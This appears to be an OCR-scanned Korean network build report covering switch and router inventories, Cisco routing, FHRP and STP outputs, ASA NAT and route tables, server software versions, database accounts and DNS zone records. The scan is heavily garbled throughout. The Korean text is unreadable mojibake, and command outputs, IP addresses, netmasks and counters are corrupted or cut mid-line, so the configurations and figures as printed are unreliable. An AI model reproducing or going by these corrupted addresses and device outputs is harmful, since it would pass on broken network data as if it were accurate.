ESW15 EIGRP 200, FHRP(VRRP), VLAN 20.4.0.254/16
ESW16 EIGRP 200, FHRP(VRRP), VLAN 20.4.0.253/16
ESW17 FHRP(VRRP), VLAN 20.4.0.252/16
ESW18 PVST+, VLAN 20.1.0.254/16
ESW19 PVST+, VLAN 20.1.0.253/16
ESW20 PVST+, VLAN 20.1.0.252/16
ESW21 L3 TH 9 192.168.70.2/24
ESW22 FHRP(GLBP), VLAN 192.168.20.2/24
ESW23/L2SW EtherChannel, VLAN 192.168.40.254/24
ESW24 FHRP(GLBP), VLAN 192.168.10.2/24
ESW25 FHRP(GLBP), VLAN 192.168.30.2/24
ESW26/L2SW EtherChannel, RSPAN 192.168.40.253/24

F1-REPORT-001



2M HZ  F1-REPORT-001

oo =Z2ME £ AWMEBEIM  £¥Y 2026-03-03

| O X| 108/187

ESW27/L2SW RSPAN 192.168.40.252/24

ESW28/L2SW RSPAN 192.168.40.251/24

ESW29/L2SW RSPAN 192.168.40.250/24
ESW30/L2SW FHRP(VRRPv3), IPv6, VLAN fc00:1::2/64
ESW31/L2SW FHRP(VRRPv3), IPv6, VLAN fc00:2::2/64
ESW32/L2SW FHRP(VRRPv3), IPv6, VLAN fc00:3::10/64
ESW33 IPv6, PVST+, VLAN fc00:1001::2/64
ESW34 IPv6, PVST+, VLAN fc00:1001::3/64
ESW35 IPv6, PVST+, VLAN fc00:1001::4/64

ESW36 At ALK 192.168.60.254/24
ESW37 VLAN 60.3.10.254/24
ESW38 VLAN 60.3.10.253/24
ESW39 VLAN / VTP(Server) 60.2.10.254/24
ESW40 VLAN / VTP(Client) 60.2.10.253/24
ESW41 VLAN / VTP(Client) 60.2.10.252/24
ESW42 VLAN / VTP(Client) 60.2.10.251/24
ESW43 VLAN / VTP(Client) 60.2.10.250/24
ESW44 VLAN / VTP(Client) 60.2.10.249/24
ESW45 VLAN / VTP(Transparent) 60.2.10.248/24
ESW46 FHRP(HSRP), VLAN 60.4.10.254/24
ESW47 FHRP(HSRP), VLAN 60.4.10.253/24
ESW48 VLAN 60.4.10.252/24
ESW49 VLAN 60.4.10.251/24
ESW50 VLAN 60.4.10.250/24
ESW51/L2SW VLAN, EtherChannel 60.4.10.249/24
ESW52/L2SW VLAN, EtherChannel 30.3.30.10/24
ESW53/L2SW VLAN, EtherChannel 60.4.10.248/24
ESW54 FHRP(MHSRP), Default Routing, Vlan 40.4.0.253/16
ESW55 FHRP(MHSRP), Default Routing, Vlan 40.4.0.252/16
ESW56 FHRP(MHSRP), Default Routing, Vlan 40.5.0.253/16
ESW57 Vlan 40.4.0.251/16
ESW58 PVST+, VLAN 40.6.0.254/16
ESW59 PVST+, VLAN 40.6.0.253/16
ESW60 PVST+, VLAN 40.6.0.252/16
ESW61 PVST+, VLAN 40.6.0.251/16
ESW62 At ALK 30.3.192.254/24
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ESW63 Udt AQX| 30.1.64.253/24
FRSW1 WAN Tt 2| AZ -
FRSW2 WAN Tt 2| A Z -
FRSW3 WAN Tt 2| A Z -
FRSW4 WAN Tt 2| AZ -
FRSW5 WAN Tt 2| A Z -
FRSW6 WAN Tt 2| A Z -
FRSW7 WAN Tt 2| AZ -
FRSW8 WAN Tt 2| A Z -

NetC&C1 Xt&2t ZE(Python, Ansible), syslog file 192.168.20.2/24

NetC&C2 Xt&2t ZE(Python, Ansible), syslog file 192.168.20.3/24

NetC&C3 Xt&2t ZE(Python, Ansible), syslog file 172.16.254.10/16

123 YEQIATE A} AN

[EoZ@= )

OSPF

[R3]10I Al =QISH Virtual-link M&
Virtual Link
[1]: R4St 7t @3 AZZ W=t AREA 2 HZ
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Totally NSSA

[1]: Totally NSSAZ default ZZ7t 4
[2]: ASBROJIA] &1 22 FHE
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[EAHO SF) 1]
=8 AN

[R6] EIGRP 100 &9l

R6#sh 1p pro

Routing Protocol is "eigrp 180" i
EIGRP Outgoing update filter list for all interfaces

Ln outgoing updates
om_incoming updates

) [170/2172416] via
. . y B Su (=} & o ¥ sSupneLs
Redistribute /

d, 2 subne

Mannual-summary
, Loopbacko
[SW1] HSRP AVG(Active) & Eff =l
Swi# show glbp brief
Interface Grp Fwd Pri State q Active router
viie 18 - 120 Active 30.1 local
viie 0 Active B807.b ; local
viie 3 2 Listen ©B687.bdes. 20 .41, 128
GLBP

[SW2] HSRP Standby AtEf 20l

Sw2#sh glbp brief
Grp Fwd Pri State Address ve router Standby router
10 - standby 38 280 78 ] local

18 1 Listen 0807.b48G.0aB1 30.1.128.254 =
>

1o Active 0007 .b400.0a02 &

[EAHOI= S5 AHE) 2]

242 ASA &5 FI|FA|7| HHELCL

o
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[EAHOl= S5 DM2Z) 3]

[ASA] QIEHOO|A HE

ASAV1# =h run int
H

interface GigabitEthernetBd-8
nameif outside

zecurity-level B

ip address 38.2.8.1 255.255.255.8
t

interface GigabitEtherneti-1
nameif inside

security-level 188

ip address 192.168.1.254 255.255.255.8
H

interface GigabitEthernetB-2
nameif dmz

security-level 5H

ip address 38.3.8.1 255.255.255.8
'

interface Managementd-/H
Management-only

nameif Mmanagenent

security-level 1HA

ip address 192.168.56.18 255.255.255.8
ASAU1#

ASAQ| Z} OIE{H[O[A
ASA / DMZ ME MEZ 0|7 f%

=

X NAT % S5 NAT FHa Efm Mezhhit) 2

= [ [=}

mjo
ok
ro
N
or

1 (outside) to (inside) source static outl outil destination static INSIDE-NET
INSIDE-HET

translate_hits = 4777, untranslate_hits = GA45
2 (outside) to (inside) source static out2 out2 destination static INSIDE-NET
INSIDE-NET

translate_hits = B, untranslate_hits = 6
3 (outside) to (inside) source static out3 out3 destination static INSIDE-NET
INSIDE-NET

translate_hits = 1864, untranslate_hits = 5887
4 (outside) to (ingide) source static outd outd destination static INSIDE-NET
INSIDE-NET

translate_hits = 29, untranslate_hits = 29

Auto NAT Policies (Section 2)
(outside) to (inside) source static s4 172.16.8.28
translate_hits = B, untranslate_hits = 8
(outside) to (inside) source static s1 172.16.254.33
translate_hits = 2, untranslate_hits = 16
(outside) to (inside) source static s2 172.16.254.55
translate_hits = B, untranslate_hits = 8
(outside) to (inside) source static s3 172.16.254.66
translate_hits = 21, untranslate_hits = 8
(inside) to (outside) source dynaMmic INSIDE-MET interface
translate_hits = 217368, untranslate_hits = 12982
ASAULH _

ASA°| Z} (&lE‘ll_L'”O|A(OUtSIde inside, dmz)0ll Mg ACL H*1} global M2
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ASAU1# sh rumning-config access-group
access—group OUTSIDE_IN in interface outszide
access—-group inside_access_in in interface inside
access—group IDMZ_acces=z_in in interface dmz
access—group global_access global

ASAU1:

Gateway of last resort iz 38.2.8.2 to network B.A. 8.8
.8.8
. 255,

a
5
.B 255.
1
a
1

*

[1-8]1 wia 38.2.8.2, outside
255.255 [1-8]1 via 192.168.8.1, outside
255.255.8 is directly connected, outside
255.255.255.255 is directly connected, out=zide
255.255.255.8 iz directly connected, dmMz
255.255.255.255 iz directly connected, du=z
.B 255.255.255.8 [1-8]1 via 38.3.8.2, dmMz
.20.A 255.255.255.8 [1-8] via 3A.3.8.2, duz
.3.38.8 255.255.255.8 [1-8]1 via 38.3.8.2, dmuz
.16.8.28 255.255.255.255 [1-8]1 via 38.2.8.2, outside
.16.254.33 255.255.255.255 [1-8] via 38.2.8.2, outside
.16.254.55 255.255.255.255 [1-8] via 38.2.8.2, outside
.16.254.66 255.255.255.255 [1-8] via 38.2.8.2, outside
.168.1.8 255.255.255.8 is directly cownected, inside
.168.1.254 255.255.255.255 is directly connected, inside
192.168.28.8 255.255.255.8 [1-8] wvia 192.168.1.1, inside
192.168.38.8 255.255.255.8 [1-8] wvia 192.168.1.1, inside
192.168.48.8 255.255.255.8 [1-8] wvia 192.168.1.1, inside
192.168.56.8 255.255.255.8 is directly connected, Management
192.168.56. 18 255.255.255.255 is directly connected, mMmanagement

WWWwWwNMNE®

3
3
[H
L
C
L
3
3
3
3
3
5
5
C
L
3
3
3
C
L

ASAS| NAT/PAT Bzt

2E =2l Jts

Bl O] LHE IP7 2% IPE

61 in use, 914 most used
Flags: D - DN3, e - extended,
s — static, T - twice,

I - identity, i -
N - net-to-net

dynaMic, r - portmap,

NAT from outside:172.
flags s1 idle 25:
from outside:172.
flags sI idle 21:
from outside:172.
flags sl idle 25:
from outside:172.
flags =1 idle 25:
from outside:172.

flags =sIT idle B:

NAT

NAT

NAT

NAT

.8.28 to inside:172.16.8.
:35 tiMeout B:868:88
.254.33 to inside:172.16.
48 timeout B:808:88
.254.55 to inside:172.16.
:53 timeout B:868:88
.254.66 to inside:172.16.
23 timeout B:868:88
.254.33 to inside:172.16.
:58 tiveout B:868:88

208

254.

254.

254.

254.

NAT from inside:192.168.8.8-16 to outside:192.168.8.
flags sIT idle B:83:58 tiMeout B:88:88

from outside:172.16.254.55 to inside:172.16.254.
flags sIT idle 24:24:13 timeout B:88:88

from inside:192.168.8.8-16 to outside:192.168.8.
flags sIT idle 24:24:13 timeout B:88:808

from outside:172.16.254.66 to inside:172.16.254.
flags =IT idle B:84:28 timeout B:808:88

from inside:192.168.8.8~-16 to outside:192.168.8.
flags sIT idle B:84:28 timMeout B:808:88

NAT from outside:172.16.8.28 to inside:172.16.8.28
{-—— More —--—->

NAT

NAT

NAT

NAT
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PAT from inside: . .38.7,50913 to outside:38.2.8.1-58913
16 tiMeout B:88:
PAT from inside: . .38.7,58887 to outside:38.2.8.1-58887
88 timeout B:88:
PAT from inside: . .38.7,58879 to outside:38.2.8.1-58879
‘B85 timeout B:88:
PAT from inside: . .48.2-47885 to outside:38.2.8.1-47885
:B82 timeout B:88:
PAT from inside: . .48.2-,68541 to outside:38.2.8.1-68541
:@87 timeout B:88:
PAT from inside: . .48.2-,39595 to outside:38.2.8.1-39595
112 tiMeout 8:88:
PAT from inside: . .48.2-52945 to outside:38.2.8.1-52945
:17 timeout B:88:
PAT from inside: . .48.2-,40999 to outside:38.2.8.1-48999
121 timeout B:88:
PAT from inside: . .48.2,43783 to outzide:38.2.8.1-43783
122 timeout B:88:
PAT from inside: . .48.2-,39935 to outside:38.2.8.1-39935
127 timeout 8:808:
PAT from inside: . .38.3-52636 to outside:38.2.8.1-52636
:15 timeout B:88:
PAT from inside: . .38.3-408476 to outside:38.2.8.1-48476

H 42 timeout B:88:

{--- More —---3>

O3 M X|Ah

[SW7] Root 29l

STP Root A
Secondary

ok
re

[SW8] Secondary
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FHRP (VRRP)

EIGRP 200

o A e R e Y
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[IDCEHLILH) 1]

=~

XN Al
S ©

Ml

Olf2e ESfES Suricata AMH{7} FZEE g1/0 ZEZ ELf7|

4

Source RS5PAN VLAN
Destination Ports
Encapsulation

Remote Destination Session
168

Native

Source Ports
Both

Remote Source Session

Dest RSPAN VLAN 188
RSPAN
3 Remote Source 5
Source Ports
Both 0s 0 L
Dest RSPAN V0LAN
3 Remote Source Session
Source Ports
Both 1/B-1
Dest RSPAN VLAN
vlan 40 Active
vide Active  192.168.40.3
vide Listen B80087.b48E.0181
vide 2 Active B087.b480.0182
Eswa#fl
Interface Grp Fuwd Pri Address Active router Standby router
vise - 1se 192 50.3 local 52.168.50.2
vise 0007 .b4 181 192.168.50.2 =
GLBP vise 3 Active 0887.b480.81083 local -

Eswie#f

vlan 40, 50 Standby

Interface Fwd Pri state
vide 9 Standby
vide -

vlde 2 -

v1se 128 ¢

Vise
vlse
ESW9#

Standby router
local

local

ojC{x'd

[SW16]
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P - bundled in port-channel
stand-alone s - suspended
Hot-standby (LACP only)
Layer3 S - Layer2
in use N - not in use, aggregation
f to allocate aggregator

not in use, minimum links not met

not in use, port not aggregated due to minimum links not met
unsuitable for bundling

waiting to be aggregated

default port

formed by Auto LAG

Number of channel-groups in use: 1
Number of aggregators: 1

Group Port-channel Protocol Ports

i P - bundled in port-channel

stand-alone s - suspended

Hot-standby (LACP only)

Layer3 S - Layer2

in use N - not in use, aggregation
to allocate aggregator

not in use, minimum links not met

not in use, port not aggregated due to minimum links not met
unsuitable for bundling

waiting to be aggregated

default port

formed by Auto LAG
Number of channel-groups in use: 1
Number of aggregators: i
Group Port-channel Protocol Ports

,,,,,, e e S T e e
Pol(sSU)

STP

AQQX|ZEO| B EJ} TrunkOGOF Sh= RSPANZF SAlOf M™E 4
5t0] FHSIK| %S

(o]
HA

cf

a

ri
L
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[IDCEHLILH 2]

Routing |
Outgo late or all interfaces 1is

not set

Incoming lpdate fllter 115t for all interfaces is not set

Default networks flagged in outgoing updates
works accepted from incoming updates
"ic weight Ki=1, K2=0, K3=1, K4=0, K5=0
um hopcount 100
etric variance 1
ting: eigrp 300
aware route hold timer

EIGRP uetwork summarization is not in effect
Routlng for Networks
19.0.0.0
50.3.0.0/16
50.4.0.0/16
Routing Information Sources:
Gateway Distance Last Update
50.3.0.1 90 03:48:20
50.4.0.2 90 03:48:20
Distance: internal 90 external 170
Master
yigabitEthe t0/1 - Group 1 - Address-Family IPv6
State is
State duration 20 hours 40 mins 40 secs
Virtual IP address is FE80::1
Virtual secondary IP addresses:
FCOO:3::3/64
Virtual MAC address is 0000.5E00.0201
Advertisement 1 rval is 1000 msec
VRRPv3

Preemption en |, delay min 60 secs (@ msec remaining)
Priority is 150

Track object 1 state UP decrement 60
Master Router is FE80::E6A:ES8FF:FE4B:1 (local), priority is 150
Master Advertisement interval 1s 1000 msec (expires in 39 msec)
Master Down interval 1is unknown

Slave
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- Group 1 - Address-Family IPv6

State duration 20 hours 45 mins 2 secs
Virtual IP ;s 1s FE80::1
Virtual secondary IP addresses:
FC00:3::3/64
Virtual MAC address 1s 0000.5E00.0201
Advertisement interval 1s 1000 msec
Preemption en , delay min 60 secs (0 msec remaining)
Priority 1is 90
Track object 1 state UP decrement 60
Master Router 1is FE80::EBA:E8FF:FE4B:1, priority 1is 150
Master Advertisement interval 1is 1000 msec (learned)
Master Down interval is 3648 msec (expires in 2956 msec)

STP

Bridge ID

vard Delay 15 sec

Port ID Prx

ESW2#show

nning tree
ot ID F

Bridge ID Pr
Addr
Hello T
Aging Tim

Interface
Port ID

Secondary
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Spanning tree
Root ID Pr

Bridge ID

Age 20 sec Forward D

ted

ID Prio Cost iridge ID

Spanning tree
Root ID Pr
Ad
i

sec Forward Delay 15 sec

Bridge ID
rward Delay 15 sec

Interface
Part ID Prioc Cost Port ID

19

Eswi#fl

BLK
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ng-tree vlian 10 brief

ESW3#show

protocol ieee
8192
cd4B6.13a6.868681
19

46
Hello Time 2 se

Jpahning tree
Root ID

Max Age Forward Delay 15 s

Bridge ID Priority 32768
Address c407.4c3c.0000
Hello Time 2 sec Max Age 20 sec

Aging Time 308

Forward Delay 15 s

Interface Designated

Name Port ID Prio Cost t Bridge ID Port ID

ESW3#show vlian 20 brief

anning tree protocol ieee
Root ID
Address
Cost
Port P crnetl/s)
Hello Time 5 ¢ sec Forward Delay 15

Bridge ID
Hello Time Forward Delay 15
Aging Time

Designated
t Bridge ID
19 16384 c485.4
@ 8191 c406.13a0.

Interface

IPv6

IPv6 CHSY 2t E H|O|2

IPvG Routing Table - Default - 8 entries
Codes: C ¥ L - Local, § - Static, U - Per-user Static route
B - BGP, M - MIPv6, R - RIP, Il - ISIS L1
- ISIS IA - ISIS interarea, IS - ISIS summary, D - EIGRP
EX - EIGRP external
@ - O5PF Intra, ©I - OSPF Inter, OEl - OSPF ext 1,
ON1 - OSPF NS5A ext 1, ONZ2 - OS5PF NS5A ext 2
B:l::/64 [1/8]
Tunnel119, directly ¢
T2 4.1
a Tunnell1g
130764 [
Tunnel119

0E2 - OSPF ext

directly connected

receive

directly conn

receive

via Null@, receive

6 to 4 Tunneling

[R1]
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Tunnel119 is up, line protocol is uj
Hardware 1is Tunnel
MTU 17920 bytes, BW 100 Kbit/sec, DLY 50000 usec,
] ' 5, txload 1/255, rxload 1/255

= all
Encapsulation TUNNEL] loopback not set
m—— =

LU o £
Tunnel transport MTU 1480 bytes
Tunnel transmit bandwidth 8e@0 (kbps)
Tunnel receive bandwidth 8000 (kbps)
Last input 00:00:00, output 00:00:00, output hang never
Last clearing of "show interface" counters never
Input queue: 0/75/0/0 (size/max/drops/flushes); Total output drops: ©
Queueing strategy: fifo
Output queue: 0/0 (size/max)
S minute input rate 0 bits/sec, 0 packets/sec
5 minute output rate 0 bits/sec, 0 packets/sec
17048 packets input, 2455078 bytes, 0 no buffer
Received 0 broadcasts, © runts, © giants, 0 throttles
0 input T , @ CRC, 0 frame, 0 overrun, 0 ignored, © abort
17110 packets output, 1711534 bytes, 0 underruns
8 output , 0 collisions, @ interface resets
@ unknown protocol drops
0 output buffer failures, 0 output buffers swapped out

[R19]

Tunnel119 1is up, line protocol 1is up
Hardware is Tunnel
MTU 17920 bytes, BW 100 Kbit/sec, DLY 50000 usec,
aliabilg . 5, txload 1/255, rxload 1/255

30
{oopback not set
nne g o = de 1nati :
U = r4
Tunnel transport MTU 1480 bytes
Tunnel transmit bandwidth 8600 (kbps)
Tunnel receive bandwidth 8000 (kbps)
Last input 00:00:00, output 00:00:00, output hang never
Last clearing of "show interface" counters never
Input queue: 0/75/0/0 (size/max/drops/flushes); Total output drops: ©
Queueing strategy: fifo
Output queue: 0/0 (size/max)
S minute input rate 0 bits/sec, 0 packets/sec
5 minute output rate @ bits/sec, 0 packets/sec
16940 packets input, 2439890 bytes, © no buffer
Received O broadcasts, 0 runts, 0 giants, 0 throttles
0 input 5, 8 CRC, 0 frame, © overrun, 0 ignored, 0 abort
16977 packets output, 1697882 bytes, @ underruns
0 output ¢ , @ collisions, 0 interface resets
0 unknown protocol drops
0 output buffer failures, 0 output buffers swapped out
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[ZEfAFF X|AH

FHRP (MHSRP)

Static/Default
Routing

[R4] Default Routing &0l

3
b

STP Root U

10|
Secondary [SW11] STP Root 20l
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[R25] RIP version 2 &7 ¢l
R25#sh 1ip pro
Routing Protocol 1is
Outgoing update filter Llist for all interfaces is not set
Incoming update filter list for all interfaces is not set
RIPvV2 Sending updates every 30 seconds, next due in 21 seconds
va after 180 seconds, hold down 180, flushed after 240
Redistributing: rip
Neighbor(s):
Default version control:
Internet adare 5 ]
Broadcast addr is 255.255.
determined by non-vol
N 1588 bytes
Split-Horizon siA| Helper address is not set
Directed broadcas
Multic
Outgoing access not
Inbound acc 5t is not set
Proxy ARP 1 :
ip nat translations
NAT(PAT) Pro Inside global Inside local Outside 1 ! Outside global
lcmp 60.0.0. j2.168.60.254:2 60.4.10.3 ) 60.4.10.3 2
icmp
icmp 60
[SW39] VTP AMHf Igat 283 Vian 2
Sw3g#sh vtp status
VTP Version
Configuration Revision 5
Maximum VLANs supported locally :
Number of existing VLANs -
VTP Operating Mode
VTP Domain Name
[SW44] VTP Z22t0[AUEL} MHO|AH ZH{R2 Vian 22
VTP / VLAN SW44#sh vtp status
VTP Version
Configuration Revision -
Maximum VLANs supported locally :
Number of existing VLANs :
VTP Operating Mode
VTP Domain Name
[SW45] VTP EATHE 2F 20l
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SW4S5#sh vtp status
VTP Version
Configuration Revision

2
H ¢
Maximum VLANs supported locally : 68
Number of existing VLANs : 8

VTP Operating Mode :
VTP Domain Name : Clsco

[SW46] HSRP Active AEHf =0l

Swa6#sh standby bri
P indicates configured to preempt.
|
Interface Grp Prio P State tive Standby Virtual IP
vlie 10 120 Active
Swae#sh standby
nle - Group 10 (ver510n 2)
State is Act
2 state
Virtual IF ess s }.
Active virtual MAC address is 0000.0cof.fe0a
Local virtual MAC address is 0000.0c9f.fo0a (v2 default)
Hello time 3 sec, hold time 10 sec
Next hello sent in 2.780 secs
Preemption disabled
Active router is local
Standby router is A 253, priority 100 (expires in 8.552 sec)
Priority 120 (conflgured 120)
IP redundancy name 1is "hsrp-V0110-10" (default)

HSRP [SW47] HSRP Standby &tEHf 2Ol
Sw47#sh standby bri
P indicates configured to preempt.
|
Interface Grp Prio P State Vv Virtual IP
vliio 1@ 100 P Standby ] 54 50.4.10.:2
SN47#sh standby
10 - Group 10 (version 2)
State is Standby
1 state change, last state change 03:02:24
Virtual IP s ]
Active virtual MAC address is 0000.0cof.feea
Local virtual MAC address is 0000.0c9f.fe0a (v2 default)
Hello time 2 sec, hold time 10 sec
Next hello sent in 1.520 secs
Preemption ¢ d
Active router 50.4.10.254, priority 120 (expires in 7.268 sec)
Standby router is local
Priority 100 (default 100)
IP redundancy name is "hsrp-v110-10" (default)
[SW51] Port-channel 12| O|C{A{{ = (LACP) SUAEN =0l
Group Port-channel
Etherchannel

Number of channel rrnup' (A VET-H
Number of ag:

Group Port
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[EI2E H0|Z]
Mg AN

oj2 0]
[R5]

o2

S =t =l el =]

L e

0 E2

Rs#l

[1] E2: CI2 ZT2EZEE ARG}

6 1s subnetted,

1 subnets

28] via 10.1.1.1, 1deeh, Seriall/®.53

bnetted,
[110/20] via 1@
is subnetted, 1 subnets

5 supne : : ;
[116/28] via B SR :58, Seriall/e.53

is subnetted,

[11

6/20

S m
6/138] via

4 1is subnetted

0 [116/208] via

4 1is subnetted,

) [118/28] via
subnetted,
[118/2] wia
subnetted,

S

15

1 subnets

1, 1deeh, seriall/@.53
Serialily/
seriall/e.s53

8, Seri
Serialil/e.

]

1 subnets

1 subnets

4.0 [118/28] via 10.0
is subnetted,

1 subnets

4 [110/128] vi
4 1is directly

is directly

24 [11

4 [116/12
/24 1is directly ci
[116/28] via 108.1.1. 231 , Seriall
/24 [1160/75] via 18.1.1.1, 37h, Seriall/e
is subnetted, 1 subnets

[2] Manual-Summary 8822

s Seriall/8.54
VL A X05 : 04, Seriall/0.54




2M H3Z  F1-REPORT-001
no|d =2HE 3 ANHEIA  2HY 2026-03-03

| ol X| 128/187

Gateway of last resort is

/0.1 [1]
ubnetted,
809856 via 38.1.8.1, 108:42:37, Serialil/e.1
bly subnetted, 2 subnet_
096087 vi: A4 Ethernet2/0
f2172416] via P4:58: 2?. Serlallfﬂ 3
0= £z ubnetted 1
. LoopbacPD
(Outside)
[R11] “Serialize.1][1]
15 .Lrec 3 eCcteq [1/0.
24 [90/2787456] via M5 s :57, Seriall/e.1
24 [QGI2?E?4SE] via 1, 94:58 ? Seriall/e.1
[1] : 22 &0 A= BR 2tREHO 228 FE
[2] : Totally NSSA #H22 2| Y FEIUN 7|2 BZ(O*AZ CHA|
oj= M=
[R16]
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is subnetted, 1 subnets

[178/217: 41b] via 56

1, B2:03:48, Seriall/0.43

subnetted, 1 subnets

[176/2172416] wvia 50.3

/24 1s subnetted, 1
[9a/2297856] via

is subnetted, 4 ~ubnetw

/2681856 ]
directly

[90/2681856] via

directly

subnetted, 1 Hubnet

s directly c
ubnetted

g[8 IZPBQPREJ wia 56
[GD zSUQSRb] via

is 5ubnetted_ 1

1, 82:832:48, Seriall/e.43
1, 18:52:18, Seriall/o.43
, 18:52:12, Serialil/e.43
riall/0.43
, 18:52:14, Seriall/e.41
riall/0.41
Loopbacks

2, Serialil/e.41
Seriall/e.43

32:20, Seriall/e.41
08 UB 55, Seriall/e.43

FHLFCH [170/2172416] vi: 2:51:20, Serial1/e.43
[R19] 4 1s subnetted, 1}]:
[1708/2172416] B8:088:55, Seriall/6.43
subnetted, 1
[17B8/2172416] B8:08:55, Seriall/0.43
subnetted, 1|s
[178/2172416 0.1, 08:08:55, Seriall/e.43
subnetted, 1i]s - =
[178/2172416] |vi 1. MaHi= e
subnetted, 1 : = ool oEl
5 [178/2172416] vi azgl—r i E}T"T S
[176/2172416] , B8:11:42, Seriall/e.41
[90,2112415] via 08:08:14, Seriall/e.43
subnetted, 1]s
i.e [17 0;&17;4101 1, B2:51:15, Seriall/e.43
[178/2172416] vii , B8:08:55, Seriall/p.43
[178/2172416] vi 1, 82:51:15, Seriali/e.43
16 is subnetted, 1
o [1768/2172416] 9§41 @§2:83:49, Seriall/e.43
QA Tt C
[R20,R21]

FHRP T =90 FH 2tYHE[1]12 2

| £ o oot 7|= =2 23
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5/16 1s subnetted, 1 subnets
6.8 [176/268 441b] via 5
[170/2684416] via 50.1.C
9.0/16 1s subnetted, 1 "ubnetw

i auknete
809856] via 58.4.@
B9856] via

4Dul"“F \
irectly connec

directly connec i

is quhnﬂffpd, t quhnnfr

e e t

subnets
via

I N | a

1 subnets

1 subnets
416] via 50

8 1s vari
/16 ic
=] ad, slihnate
) 84416] vig|A 7}
0/2684416] wvi_
, 1 subnets
84416] via

2684416] wvia 5C
844167 v1
26844167 via
684416] via 56 B
ed, subnets
9/2684416] via 5
[2684416] via 58

:uhnpttpd 4 quhhpts-'

2:01:48, seriall/e.
:01:48, !

2:01:48,
:81:48,

50:12, Seriall/@.14
50:12, Seriall/@.12

120, Seriall/e.14

50:12, Seriall/e.12
masks

iall/0.12

l1/0.14
rial1/e.12

14

B2:81:49, Seriall/e.14
82:081:49, Seriall/e.12
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WAl

[R24]

(] :

[2] :

/16 1is subnetted, 1

MEHZ o

RIPR Lf

5 [128/7 ] via
i b

) [128/ i
»ubnetted

supnetted,
) [1268/7] via
subnetted,

) [120/2] via
1ubnetted.

[120/7] via
=ubnetted

FOA et

subnets

T

00:00:25

. 5. D0:00:
ubnets

La2: 085680525,
[1]

3

08:080:25,

08:0808:25

pO:08

Loopba

26,

cko

30:88:26,
bneta
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S - static, R - RIP, M - mobile, B - BGP
- EIGRP external, 0 - 0SPF, IA - OSPF inter area
A external type 1, N2 - OSPF NSSA external type 2
ernal type 1, E2 - OSPF external type 2
- I5-IS summary, L1 - IS-IS lewel-1, L2 - I5-IS level-2
ser static route

=
SENEE
(BM2) [1/0] vi
B/24 [178] via 38.3
is subnetted; 1 s
C ! Loopbacka
Lably subnets, 2
C directly
€ directly
C 3
-
5
G*
S - static; R - RIP; M - mobile;, B - BGP
- - EIGRP external, 0O - 0SPF, IA - OSPF inter area
M1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2
El - OSPF external type 1, E2 - 0SPF external type 2
i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS lewvel-2
ia - IS-IS inter area, * - candidate default, U - per-user s 1c route
o - ODR, P - pericdic downloaded static route
D|5} =u Gateway of last resort is 192.168.1.254 to network 0.0.0.0
ST
. is directly
Un5|de) 24 1is directly

ubnetted

al
x

1.3 MH H&
1.3.1 A HH

!

|

B

os ISO = =F
VMWorkStation VMware-workstation-full-17.6.1-24319023 1
Ubuntu ubuntu-24.04-desktop-amd64.iso 5
Rocky9 Rocky-9.4-x86_64-dvd.iso 13
pfsense pfSense-CE-2.7.2-RELEASE-amd64.iso 2
Win10 Windows 10 LTSB Remiz.iso 4
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132 HHE HEH
M| A H WM Wl 2
Apache 2.4.58 apach2 -v
Nginx 1.24.0 nginx -v
DNS 9.16.23 bind9 -v
PHP 8.3.6 php -v
Mariadb mariadb Ver 15.1 Distrib 1.5.27-MariaDB mariadb -V
wordpress  6.9.1 rpm -qa | grep
wordpress
rocky : OpenSSH_8.7p1
ssh yop =P sshd -v

ubuntu : OpenSSH_9.6P1

Ansible 2.14.18

ansible --version

Zabbix 7.0.23

Zabbix_service -V

Elastic 7.17.29

GET / (Elastic console)

Pydio 4417

/root/cells version

Roundcube | roundcubemail-1.5.13-1.el9.noarch

rpm -g roundcubemail
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1.3.3 DB E&

I8 My MH|A DB ARAHE g Ast
rivileges all
pydio pydio pydio P Md,g OB
US-mb-Ubuntu (pydio )
(172.16.23.116) . ..
roundcubemail ) privileges all
Y AHA) roundmailcube roundcube (roundcubmail DB)
US-sb-Ubuntu =T
(172.16.23.117) privileges all
4 MH~ thebetter sajang
(thebetter DB)
- -Re ivil Il
US-socb-Rocky 247 blue server b privileges a
(172.16.28.3) (blue_server DB)
1.3.4 DNS 22|
MH|AE H Hl
MHE ZONE I+YH SOA 33 EEFY IN
Mail Gateway gate.better.com A ns
WordPress1 wp1.better.com A ns
better.com.zone
WordPress2 wp2.better.com A ns
HA proxy(VIP) www.better.com A ns
Pydio pydio.better.com A ns
better.net.zone
Mail post.better.com A ns
Router 1 r1.better.com A ns
Router 2 r2.better.com A ns
Router 3 r3.better.com A ns
Router 4 rd.better.com A ns
Router 5 better.router.zone r5.better.com A ns
Router 6 ré.better.com A ns
Router 7 r7.better.com A ns
Router 8 r8.better.com A ns
Router 9 r9.better.com A ns
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Router 10 r10.better.com A ns
Router 11 r11.better.com A ns
Router 12 r12.better.com A ns
Router 13 r13.better.com A ns
Router 14 r14.better.com A ns
Router 15 r15.better.com A ns
Router 16 r16.better.com A ns
Router 17 r17.better.com A ns
Router 18 r18.better.com A ns
Router 19 r19.better.com A ns
Router 20 r20.better.com A ns
Router 21 r21.better.com A ns
Router 22 r22.better.com A ns
Router 23 r23.better.com A ns
Router 24 r24.better.com A ns
Router 25 r25.better.com A ns
Router 26 r26.better.com A ns
Switch 1 sw1.better.com A ns
Switch 2 sw2.better.com A ns
Switch 3 sw3.better.com A ns
Switch 4 sw4.better.com A ns
Switch 5 swb5.better.com A ns
Switch 6 better.switch.zone swé.better.com A ns
Switch 7 sw7.better.com A ns
Switch 8 sw8.better.com A ns
Switch 9 sw9.better.com A ns
Switch 10 sw10.better.com A ns
Switch 11 sw11.better.com A ns
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Switch 12 sw12.better.com A ns
Switch 13 sw13.better.com A ns
Switch 14 sw14.better.com A ns
Switch 15 sw15.better.com A ns
Switch 16 sw16.better.com A ns
Switch 17 sw17.better.com A ns
Switch 18 sw18.better.com A ns
Switch 19 sw19.better.com A ns
Switch 20 sw20.better.com A ns
Switch 21 sw21.better.com A ns
Switch 22 sw22.better.com A ns
Switch 23 sw23.better.com A ns
Switch 24 sw24.better.com A ns
Switch 25 sw25.better.com A ns
Switch 26 sw26.better.com A ns
Switch 27 sw27.better.com A ns
Switch 28 sw28.better.com A ns
Switch 29 sw29.better.com A ns
Switch 30 sw30.better.com A ns
Switch 31 sw31.better.com A ns
Switch 32 sw32.better.com A ns
Switch 33 sw33.better.com A ns
Switch 34 sw34.better.com A ns
Switch 35 sw35.better.com A ns
Switch 36 sw36.better.com A ns
